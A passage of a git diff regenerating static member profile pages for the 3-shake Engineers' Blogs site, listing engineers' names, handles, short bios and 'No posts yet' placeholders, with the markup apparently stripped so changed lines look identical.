\ No newline at end of file diff --git a/members/nomadblacky.html b/members/nomadblacky.html index 5fbecfa30..c3216b99a 100644 --- a/members/nomadblacky.html +++ b/members/nomadblacky.html @@ -1 +1 @@ -Takumi Kadowaki | 3-shake Engineers' Blogs \ No newline at end of file +Takumi Kadowaki | 3-shake Engineers' Blogs \ No newline at end of file diff --git a/members/nwiizo.html b/members/nwiizo.html index c13245dc7..c5a2c086c 100644 --- a/members/nwiizo.html +++ b/members/nwiizo.html @@ -1 +1 @@ -nwiizo | 3-shake Engineers' Blogs
nwiizo

nwiizo

The Passionate Programmer

© 3-shake Inc.

\ No newline at end of file +nwiizo | 3-shake Engineers' Blogs
nwiizo

nwiizo

The Passionate Programmer

© 3-shake Inc.

\ No newline at end of file diff --git a/members/raba-jp.html b/members/raba-jp.html index c5683cc91..afb6ac488 100644 --- a/members/raba-jp.html +++ b/members/raba-jp.html @@ -1 +1 @@ -Hiroki Sakuraba | 3-shake Engineers' Blogs
Hiroki Sakuraba

Hiroki Sakuraba

meow

No posts yet

© 3-shake Inc.

\ No newline at end of file +Hiroki Sakuraba | 3-shake Engineers' Blogs
Hiroki Sakuraba

Hiroki Sakuraba

meow

No posts yet

© 3-shake Inc.

\ No newline at end of file diff --git a/members/sakama.html b/members/sakama.html index 640e99d69..67583e14f 100644 --- a/members/sakama.html +++ b/members/sakama.html @@ -1 +1 @@ -sakama | 3-shake Engineers' Blogs
sakama

sakama

homo sapiens

No posts yet

© 3-shake Inc.

\ No newline at end of file +sakama | 3-shake Engineers' Blogs
sakama

sakama

homo sapiens

No posts yet

© 3-shake Inc.

\ No newline at end of file diff --git a/members/satoken.html b/members/satoken.html index 6a037d2e3..93f44c1af 100644 --- a/members/satoken.html +++ b/members/satoken.html @@ -1 +1 @@ -satoken | 3-shake Engineers' Blogs
satoken

satoken

How do you like Wednesday?

© 3-shake Inc.

\ No newline at end of file +satoken | 3-shake Engineers' Blogs
satoken

satoken

How do you like Wednesday?

© 3-shake Inc.

\ No newline at end of file diff --git a/members/seno.html b/members/seno.html index 94ee31bd5..d9833a049 100644 --- a/members/seno.html +++ b/members/seno.html @@ -1 +1 @@ -seno | 3-shake Engineers' Blogs \ No newline at end of file +seno | 3-shake Engineers' Blogs \ No newline at end of file diff --git a/members/skikkh.html b/members/skikkh.html index f502846f6..2d6fb1993 100644 --- a/members/skikkh.html +++ b/members/skikkh.html @@ -1 +1 @@ -skikkh | 3-shake Engineers' Blogs \ No newline at end of file +skikkh | 3-shake Engineers' Blogs \ No newline at end of file diff --git a/members/sosan01.html b/members/sosan01.html index ddc61ca30..c6441369d 100644 --- a/members/sosan01.html +++ b/members/sosan01.html @@ -1 +1 @@ -Soichiro Tsuchida | 3-shake Engineers' Blogs
Soichiro Tsuchida

Soichiro Tsuchida

sosan

No posts yet

© 3-shake Inc.

\ No newline at end of file +Soichiro Tsuchida | 3-shake Engineers' Blogs
Soichiro Tsuchida

Soichiro Tsuchida

sosan

No posts yet

© 3-shake Inc.

\ No newline at end of file diff --git a/members/stakamura.html b/members/stakamura.html index 6e0d9ab1f..24cf29b0d 100644 --- a/members/stakamura.html +++ b/members/stakamura.html @@ -1 +1 @@ -Shohei Takamura | 3-shake Engineers' Blogs \ No newline at end of file +Shohei Takamura | 3-shake Engineers' Blogs \ No newline at end of file diff --git a/members/tayakun.html b/members/tayakun.html index b7c0274ac..5dc3a1c11 100644 --- a/members/tayakun.html +++ b/members/tayakun.html @@ -1 +1 @@ -Soichiro Taya | 3-shake Engineers' Blogs \ No newline at end of file +Soichiro Taya | 3-shake Engineers' Blogs \ No newline at end of file diff --git a/members/tez.html b/members/tez.html index aa0c3266f..fae9405cd 100644 --- a/members/tez.html +++ b/members/tez.html @@ -1 +1 @@ -Takuya Tezuka | 3-shake Engineers' Blogs
Takuya Tezuka

Takuya Tezuka

tez

No posts yet

© 3-shake Inc.

\ No newline at end of file +Takuya Tezuka | 3-shake Engineers' Blogs
Takuya Tezuka

Takuya Tezuka

tez

No posts yet

© 3-shake Inc.

\ No newline at end of file diff --git a/members/toVersus.html b/members/toVersus.html index 613b29abb..4766e7700 100644 --- a/members/toVersus.html +++ b/members/toVersus.html @@ -1 +1 @@ -Tsubasa Nagasawa | 3-shake Engineers' Blogs

© 3-shake Inc.

\ No newline at end of file +Tsubasa Nagasawa | 3-shake Engineers' Blogs

© 3-shake Inc.

\ No newline at end of file diff --git a/members/toshikish.html b/members/toshikish.html index 9396e3a11..df47e18dd 100644 --- a/members/toshikish.html +++ b/members/toshikish.html @@ -1 +1 @@ -toshikish | 3-shake Engineers' Blogs
toshikish

toshikish

Toshiki Shimomura

© 3-shake Inc.

\ No newline at end of file +toshikish | 3-shake Engineers' Blogs
toshikish

toshikish

Toshiki Shimomura

© 3-shake Inc.

\ No newline at end of file diff --git a/members/tozastation.html b/members/tozastation.html index b7f7e043c..ba019e583 100644 --- a/members/tozastation.html +++ b/members/tozastation.html @@ -1 +1 @@ -tozastation | 3-shake Engineers' Blogs \ No newline at end of file +tozastation | 3-shake Engineers' Blogs \ No newline at end of file diff --git a/members/unvavo.html b/members/unvavo.html index ce7313a13..1d029925d 100644 --- a/members/unvavo.html +++ b/members/unvavo.html @@ -1 +1 @@ -nobu | 3-shake Engineers' Blogs
nobu

nobu

nobu

No posts yet

© 3-shake Inc.

\ No newline at end of file +nobu | 3-shake Engineers' Blogs
nobu

nobu

nobu

No posts yet

© 3-shake Inc.

\ No newline at end of file diff --git a/members/yokoo-an209.html b/members/yokoo-an209.html index bc95d4567..b4a0e68d9 100644 --- a/members/yokoo-an209.html +++ b/members/yokoo-an209.html @@ -1 +1 @@ -Annosuke Yokoo | 3-shake Engineers' Blogs
Annosuke Yokoo

Annosuke Yokoo

Buchiagemasu!

© 3-shake Inc.

\ No newline at end of file +Annosuke Yokoo | 3-shake Engineers' Blogs
Annosuke Yokoo

Annosuke Yokoo

Buchiagemasu!

© 3-shake Inc.

\ No newline at end of file diff --git a/members/ysakurai.html b/members/ysakurai.html index 6dea509d1..8bb0ed3ee 100644 --- a/members/ysakurai.html +++ b/members/ysakurai.html @@ -1 +1 @@ -Yusuke Sakurai | 3-shake Engineers' Blogs \ No newline at end of file +Yusuke Sakurai | 3-shake Engineers' Blogs \ No newline at end of file diff --git a/members/yteraoka.html b/members/yteraoka.html index f1309d0e4..5b7a99bbb 100644 --- a/members/yteraoka.html +++ b/members/yteraoka.html @@ -1 +1 @@ -yteraoka | 3-shake Engineers' Blogs
yteraoka

yteraoka

ojisan

© 3-shake Inc.

\ No newline at end of file +yteraoka | 3-shake Engineers' Blogs
yteraoka

yteraoka

ojisan

© 3-shake Inc.

\ No newline at end of file diff --git a/members/yuu0w0yuu.html b/members/yuu0w0yuu.html index 02a093b26..37ef182d7 100644 --- a/members/yuu0w0yuu.html +++ b/members/yuu0w0yuu.html @@ -1 +1 @@ -Yutaro Shirayama | 3-shake Engineers' Blogs \ No newline at end of file +Yutaro Shirayama | 3-shake Engineers' Blogs \ No newline at end of file